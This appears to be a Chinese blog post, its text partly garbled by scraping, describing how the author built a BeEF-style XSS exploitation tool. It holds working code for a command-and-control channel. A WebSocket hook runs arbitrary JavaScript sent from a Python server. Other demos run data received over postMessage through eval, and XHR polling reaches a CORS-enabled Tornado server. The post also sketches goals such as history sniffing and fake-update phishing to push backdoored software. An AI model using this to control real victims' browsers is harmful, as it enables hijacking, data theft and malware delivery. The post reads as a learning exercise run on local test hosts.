最近想練練手寫一個相似beef的xss利用工具,找到一本神書 瀏覽器黑客handbookjavascript
其中引用了不少beef的源代碼,作了很細緻的講解。html
假設如今目標頁面已經發現了xss漏洞,咱們要對它進行控制和進一步的利用,最好還能像後門同樣持久保存在用戶瀏覽器中html5
關於xss利用:java
信息收集方面: 目標IP 瀏覽器 操做系統,能夠從http頭中讀取 ; 訪問的歷史記錄 ,準備一堆經常使用網站,讀取CSS 訪問過的網站會有標記 ;python
釣魚欺騙 : 用一個flash更新圖片鋪滿頁面,點擊下載帶後門的軟件;克隆目標正在訪問的其餘網站web
實時控制 : 攻擊者創建服務和目標瀏覽器創建器實時的交互,發送任意命令給目標瀏覽器,這也是本文主要針對的方面: XMLHttpRequest 輪詢目標狀態, 原生支持的websocket ,跨域的postMessage() ,隱蔽一些的 DNS tunnel 。beef中有一個dns服務器,python dns服務器 也要提上日程了跨域
python3中引入websockets庫 發現demo中使用了 async和await瀏覽器
async 用來聲明一個協程函數 await 表示運行阻塞等待結果服務器
python3.5中引入了協程websocket
關於協程的理解:
區別於一般的函數調用,函數之間沒有相互調用的關係
在同一線程中並行執行兩個函數,在子程序內部可中斷轉而執行其餘函數,不須要考慮線程之間的共享資源,鎖,等等概念。
執行速度好於線程。
websocket.js
function hasWebsocket(){ return !!window.WebSocket || !!window.MozWebSocket; } if (hasWebsocket()){ try{ var ws = new WebSocket("ws://127.0.0.1:5678/"); } catch(err){ console.log("no WebSocket server ") } ws.onopen = function(){ console.log("socket open"); ws.send("give me some command"); } ws.onmessage = function(msg){ f = new Function(msg.data); f(); console.log("command executed") } } else{ console.log("no WebSocket") }
xss_websocket.py
#!/usr/bin/env python import asyncio import datetime import random import websockets async def command(websocket,path): while True: payload = input("enter command>") if payload: await websocket.send(payload) else: print("waiting for command") # await asyncio.sleep(10) start_server = websockets.serve(command, '127.0.0.1', 5678) asyncio.get_event_loop().run_until_complete(start_server) asyncio.get_event_loop().run_forever()
執行結果是這樣的 能夠輸入js命令讓目標執行
window.postMessage() 是另外一個原生支持的跨域交流的方法。
咱們先修改/etc/hosts創建兩個域名 hacker.com victim.com
須要在victim頁面創建一個iframe 經過postMessage()向hacker.com 傳送消息
在hack.html中監聽發送過來的消息
window.addEventListener(type,function,false); window.addEventListener("message",receiveMessage,false);
victim.html
<!DOCTYPE html> <html> <head> <title></title> <script type="text/javascript"> window.addEventListener("message",receiveMessage,false); var infoBar = document.getElementById("debug") function receiveMessage(event){ infoBar.innerHTML += event.origin+": "+event.data+""; new Function(event.data)(); } function post_msg(){ var to_hack = document.getElementById('to_hack'); to_hack.contentWindow.postMessage(""+eval(document.getElementById('v').value),"http://hacker.com"); } </script> </head> <body> <div id="debug"></div> <div id="ui"> <input type="text" name="" id="v" /> <input type="button" value="send to hacker" onclick="post_msg()"> <iframe id="to_hack" src="http://hacker.com/hack/xss/hack.html"></iframe> </div> </body> </html>
hack.html
<!DOCTYPE html> <html> <head> <title>WebSocket demo</title> </head> <body> <div id="debug"> Ready to receive data...</div> <input type="hidden" id="payload" value="alert(1)"> <script type="text/javascript"> window.addEventListener("message",receiveMessage, false); var debug = document.getElementById("debug"); var payload = eval(document.getElementById('payload').value) console.log(payload) function receiveMessage(event){ debug.innerHTML += "Data: " + event.data + "\n Orign: "+event.orign; parent.postMessage(payload,event.orign); } </script> </body> </html>
執行結果
雖然仍是有一個錯誤 可是每次點擊按鈕都會彈窗
咱們編寫一個tronado 的hello world 服務器來給xmlHttpRequest響應。然而XHR受同源策略的限制只能發出請求而不能收回本身請求結果。
在XHR level2 中只要在返回頭中加上 Access-Control-Allow-Origin 頭部 指定能夠訪問的源就能實現
xmlhttp.html
<!DOCTYPE html> <html> <head> <title></title> </head> <body> <script type="text/javascript"> function loadXMLDoc(){ var xmlhttp=null; if (window.XMLHttpRequest){ xmlhttp=new XMLHttpRequest(); } else if (window.ActiveXObject){ xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } else{ alert("Your browser does not support XMLHTTP."); } return xmlhttp; } var xmlhttp=loadXMLDoc(); function Makerequest(url){ if (xmlhttp!=null){ xmlhttp.onreadystatechange=state_Change; xmlhttp.open("GET",url,true); xmlhttp.send(null); } } function state_Change() { if (xmlhttp.readyState==4){ if(xmlhttp.responseText!=null){ //new Function(xmlhttp.responseText).(); document.write(xmlhttp.responseText) } else{ console.log("responseText wrong") } } else{ console.log("readyState wrong") } } setInterval(Makerequest("http://localhost:8001"),2000) </script> </body> </html>
hello.py
import tornado.httpserver import tornado.ioloop import tornado.options import tornado.web import os from tornado.options import define ,options define("port",default=8001,help="run on this port " ,type=int) class IndexHandler(tornado.web.RequestHandler): def get(self): self.write("<script>alert(1)</script>") self.set_header('Access-Control-Allow-Origin','*') if __name__=="__main__": tornado.options.parse_command_line() app = tornado.web.Application(handlers=[(r"/",IndexHandler)], template_path=os.path.join(os.path.dirname(__file__), "templates")) http_server = tornado.httpserver.HTTPServer(app) http_server.listen(options.port) tornado.ioloop.IOLoop.instance().start()
挖的坑終於補上了一個。。。
1,講解了postmessage和websocket的概念
http://www.ibm.com/developerworks/cn/web/1301_jiangjj_html5message/index.html
2,介紹python協程
http://www.tuicool.com/articles/fEryuyi
3,websocket 文檔
https://websockets.readthedocs.io/en/stable/intro.html
4,《Browser hacker‘s handbook》